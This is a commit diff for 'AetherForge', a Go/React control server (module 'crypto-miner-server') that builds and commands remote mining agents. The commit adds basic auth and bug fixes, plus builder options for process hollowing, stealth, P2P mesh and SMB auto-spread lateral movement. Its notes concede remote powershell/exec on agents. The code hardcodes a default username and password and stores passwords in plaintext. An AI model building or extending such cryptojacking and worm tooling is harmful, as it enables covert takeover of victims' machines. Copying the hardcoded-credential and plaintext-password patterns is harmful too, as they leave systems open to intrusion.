drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Broad bug hunt: auth flow, WS edge cases, and build hygiene.

Browse Source 
Scope API auth to /api/v1, fix dashboard WebSocket 401s, session login in Calibrate, safe agent naming, reconnect races, and remove corrupt ollama/main.go.
This commit is contained in:
drjones
2026-05-28 19:53:53 -07:00
parent 3316a75f7a
commit 9e26c4babb
16 changed files with 332 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files

3
.gitignore vendored
View File

@@ -31,3 +31,6 @@ Desktop.ini
# Temp
-p/
*.log
# Accidental empty placeholder (breaks go build if committed)
/server/internal/ollama/main.go

4
PROBLEMS.md
View File

@@ -41,8 +41,8 @@ Findings grouped by severity. Updated after bug-sweep pass.
| ID | Issue |
|----|-------|
| C7 | No authentication on control plane (dashboard REST/WS) |
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) |
| C7 | Partial — REST `/api/v1` requires basic auth; dashboard WebSocket + SPA are open. Use **Calibrate → Save session login** so fetch calls authenticate. |
| C8 | Unauthenticated remote code execution (`powershell`, `exec`, `upload`) on agents that connect to your server |
### High (intentional / deploy-time)

3
agent/client/client.go
View File

@@ -241,6 +241,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
}()
case "get_log":
if tailLines <= 0 {
tailLines = 300
}
content, err := readLogTail(c.cfg, tailLines)
if err != nil {
c.sendCommandResult(action, false, err.Error())

5
run.bat
View File

@@ -4,6 +4,11 @@ title AetherForge Control Server
cd /d "%~dp0"
set "ROOT=%CD%"
:: Remove corrupt empty Go file that breaks server builds (accidental placeholder).
if exist "server\internal\ollama\main.go" (
for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go"
)
echo.
echo ==============================================================
echo AetherForge - Control Server Launcher

4
server/internal/api/fleet_handler.go
View File

@@ -86,6 +86,10 @@ type agentCommandRequest struct {
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid command", http.StatusBadRequest)

100
server/internal/api/router.go
View File

@@ -1,10 +1,13 @@
package api
import (
"crypto/subtle"
"encoding/json"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
@@ -14,22 +17,94 @@ import (
"github.com/go-chi/cors"
)
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, publicURLOverride func() string) http.Handler {
var (
authUsers = map[string]string{"drjones": "czapiewski"} // default until users.json loads
usersFilePath string
usersMu sync.RWMutex
)
func loadUsers(dataDir string) {
usersFilePath = filepath.Join(dataDir, "users.json")
usersMu.Lock()
defer usersMu.Unlock()
data, err := os.ReadFile(usersFilePath)
if err == nil {
var loaded map[string]string
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
authUsers = loaded
}
}
}
func saveUser(username, password string) error {
usersMu.Lock()
defer usersMu.Unlock()
authUsers[username] = password
if usersFilePath == "" {
usersFilePath = filepath.Join("data", "users.json")
}
if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
return err
}
data, _ := json.MarshalIndent(authUsers, "", " ")
return os.WriteFile(usersFilePath, data, 0600)
}
func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodOptions {
next.ServeHTTP(w, r)
return
}
path := r.URL.Path
// Agent-facing API + health + forged worker downloads stay open for agents.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
(strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
next.ServeHTTP(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
usersMu.RLock()
expectedPass, exists := authUsers[user]
usersMu.RUnlock()
if !exists || subtle.ConstantTimeCompare([]byte(pass), []byte(expectedPass)) != 1 {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
loadUsers(dataDir)
r := chi.NewRouter()
// Middleware
// Middleware (global)
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
// With AllowedOrigins="*", credentials must be disabled (browsers will reject "*"+credentials).
AllowCredentials: false,
}))
// REST API
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
@@ -82,6 +157,23 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// User Management
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
var payload struct {
Username string `json:"username"`
Password string `json:"password"`
}
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
http.Error(w, "Invalid username or password", http.StatusBadRequest)
return
}
if err := saveUser(payload.Username, payload.Password); err != nil {
http.Error(w, "Failed to save user", http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"success": true})
})
// AI Autonomy (Ollama)
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)

38
server/internal/api/websocket.go
View File

@@ -253,23 +253,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
agentID = uuid.New().String()
}
displayName := auth.WorkerName
if displayName == "" {
displayName = auth.Worker
}
if displayName == "" {
displayName = auth.Hostname
}
if displayName == "" {
displayName = agentID[:8]
}
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
continue
break
}
forgeCfg := AgentForgeConfig{
@@ -326,7 +317,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "database error",
})})
continue
break
}
if policy.LogAgentConnections {
@@ -662,6 +653,29 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
func agentDisplayName(workerName, worker, hostname, agentID string) string {
if workerName != "" {
return workerName
}
if worker != "" {
return worker
}
if hostname != "" {
return hostname
}
return shortAgentID(agentID)
}
func shortAgentID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "agent"
}
return id
}
// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
line = strings.TrimSpace(line)

19
server/internal/api/websocket_auth_test.go
View File

@@ -32,3 +32,22 @@ func TestAuthPayloadWorkerNameFallback(t *testing.T) {
t.Fatalf("expected forged worker name, got %q", displayName)
}
}
func TestShortAgentID(t *testing.T) {
if shortAgentID("abcdef12-3456") != "abcdef12" {
t.Fatalf("expected 8-char prefix")
}
if shortAgentID("ab") != "ab" {
t.Fatalf("expected short id preserved")
}
if shortAgentID("") != "agent" {
t.Fatalf("expected fallback agent label")
}
}
func TestAgentDisplayNameFallback(t *testing.T) {
name := agentDisplayName("", "", "", "12345678-abcd")
if name != "12345678" {
t.Fatalf("expected id prefix, got %q", name)
}
}

2
server/main.go
View File

@@ -168,7 +168,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
log.Println("Router initialized")

24
server/web/src/api/auth.ts Normal file
View File

@@ -0,0 +1,24 @@
const AUTH_KEY = 'aetherforge_auth';
export function getStoredAuth(): string | null {
try {
return sessionStorage.getItem(AUTH_KEY);
} catch {
return null;
}
}
export function setStoredAuth(username: string, password: string) {
const token = btoa(`${username}:${password}`);
sessionStorage.setItem(AUTH_KEY, token);
}
export function clearStoredAuth() {
sessionStorage.removeItem(AUTH_KEY);
}
export function authHeaders(): Record<string, string> {
const token = getStoredAuth();
if (!token) return {};
return { Authorization: `Basic ${token}` };
}

17
server/web/src/api/client.ts
View File

@@ -1,10 +1,11 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
import { authHeaders } from './auth';
const API_BASE = '/api/v1';
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
const res = await fetch(`${API_BASE}${url}`, {
headers: { 'Content-Type': 'application/json' },
headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(options?.headers as Record<string, string>) },
...options,
});
if (!res.ok) {
@@ -44,7 +45,11 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
return fetch(`${API_BASE}/builder/build`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
@@ -70,7 +75,7 @@ export const api = {
body: JSON.stringify({ name, data }),
}),
deleteBlueprint: (name: string) =>
fetchJSON<{ success: string; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
method: 'DELETE',
}),
@@ -95,4 +100,10 @@ export const api = {
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
createUser: (username: string, password: string) =>
fetchJSON<{ success: boolean }>('/users', {
method: 'POST',
body: JSON.stringify({ username, password }),
}),
};

18
server/web/src/pages/AgentsPage.tsx
View File

@@ -27,12 +27,15 @@ export default function AgentsPage() {
}, []);
useEffect(() => {
if (isConnected) {
setAgents(liveAgents);
if (selectedAgent) {
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) setSelectedAgent(updated);
}
if (!isConnected) return;
setAgents(liveAgents);
if (!selectedAgent) return;
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
setSelectedAgent(updated);
} else {
setSelectedAgent(null);
setLogContent('');
}
}, [liveAgents, isConnected, selectedAgent?.id]);
@@ -237,6 +240,9 @@ export default function AgentsPage() {
)}
</div>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

31
server/web/src/pages/BuilderPage.tsx
View File

@@ -756,6 +756,14 @@ export default function BuilderPage() {
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.process_hollowing}
onChange={(e) => updateField('process_hollowing', e.target.checked)} />
<span>Process Hollowing (memory injection) <HelpTip field="process_hollowing" /></span>
</label>
<FieldHint field="process_hollowing" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.file_logging?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
@@ -873,9 +881,9 @@ export default function BuilderPage() {
<div className="form-section">
<ForgeSectionHeader
title="AI Autonomy (AI自治)"
title="Autonomy, Mesh & Lateral Movement"
badge="baked"
description="Optional — Ollama on the control server decides actions. Worker must reach this dashboard."
description="Optional — AI decisions, P2P mesh networking, and SMB auto-spreading."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -920,6 +928,22 @@ export default function BuilderPage() {
</div>
</>
)}
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.mesh_p2p}
onChange={(e) => updateField('mesh_p2p', e.target.checked)} />
<span>Enable Mesh P2P Networking <HelpTip field="mesh_p2p" /></span>
</label>
<FieldHint field="mesh_p2p" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.auto_spread}
onChange={(e) => updateField('auto_spread', e.target.checked)} />
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
</label>
<FieldHint field="auto_spread" />
</div>
</div>
<div className="preflight-panel card">
@@ -1042,6 +1066,9 @@ export default function BuilderPage() {
</div>
)}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

3
server/web/src/pages/DashboardPage.tsx
View File

@@ -291,6 +291,9 @@ export default function DashboardPage() {
</table>
</NeonCard>
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

3
server/web/src/pages/GuidePage.tsx
View File

@@ -125,6 +125,9 @@ export default function GuidePage() {
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

88
server/web/src/pages/SettingsPage.tsx
View File

@@ -1,5 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -11,6 +12,11 @@ export default function SettingsPage() {
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
const [newUser, setNewUser] = useState('');
const [newPass, setNewPass] = useState('');
const [sessionUser, setSessionUser] = useState('');
const [sessionPass, setSessionPass] = useState('');
const [userMsg, setUserMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -102,6 +108,38 @@ export default function SettingsPage() {
e.target.value = '';
};
const handleSessionLogin = () => {
if (!sessionUser || !sessionPass) return;
setStoredAuth(sessionUser, sessionPass);
setUserMsg('Session login saved — API calls from this browser will authenticate.');
setTimeout(() => setUserMsg(''), 4000);
};
const handleSessionLogout = () => {
clearStoredAuth();
setSessionUser('');
setSessionPass('');
setUserMsg('Session login cleared.');
setTimeout(() => setUserMsg(''), 3000);
};
const handleAddUser = async () => {
if (!newUser || !newPass) return;
try {
await api.createUser(newUser, newPass);
setUserMsg(`User "${newUser}" added successfully!`);
if (!getStoredAuth()) {
setStoredAuth(newUser, newPass);
}
setNewUser('');
setNewPass('');
setTimeout(() => setUserMsg(''), 3000);
} catch {
setUserMsg('Failed to save user — sign in under Browser session first.');
setTimeout(() => setUserMsg(''), 4000);
}
};
if (loading) {
return (
<div className="page fade-in command-deck">
@@ -416,7 +454,57 @@ export default function SettingsPage() {
</label>
</div>
</NeonCard>
<NeonCard accent="magenta" className="settings-section">
<h2 className="font-display">Access Control</h2>
<p className="section-desc">
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
</p>
<div className="form-row">
<div className="form-group">
<label className="label">Browser session — username</label>
<input type="text" className="input" placeholder="drjones" value={sessionUser}
onChange={(e) => setSessionUser(e.target.value)} />
</div>
<div className="form-group">
<label className="label">Browser session — password</label>
<input type="password" className="input" value={sessionPass}
onChange={(e) => setSessionPass(e.target.value)} />
</div>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
<button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
Save session login
</button>
<button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
Clear session
</button>
{getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
</div>
<div className="form-row">
<div className="form-group">
<label className="label">New Username</label>
<input type="text" className="input" placeholder="admin" value={newUser}
onChange={(e) => setNewUser(e.target.value)} />
</div>
<div className="form-group">
<label className="label">New Password</label>
<input type="password" className="input" placeholder="••••••••" value={newPass}
onChange={(e) => setNewPass(e.target.value)} />
</div>
</div>
<button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
Add User
</button>
{userMsg && (
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
)}
</NeonCard>
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}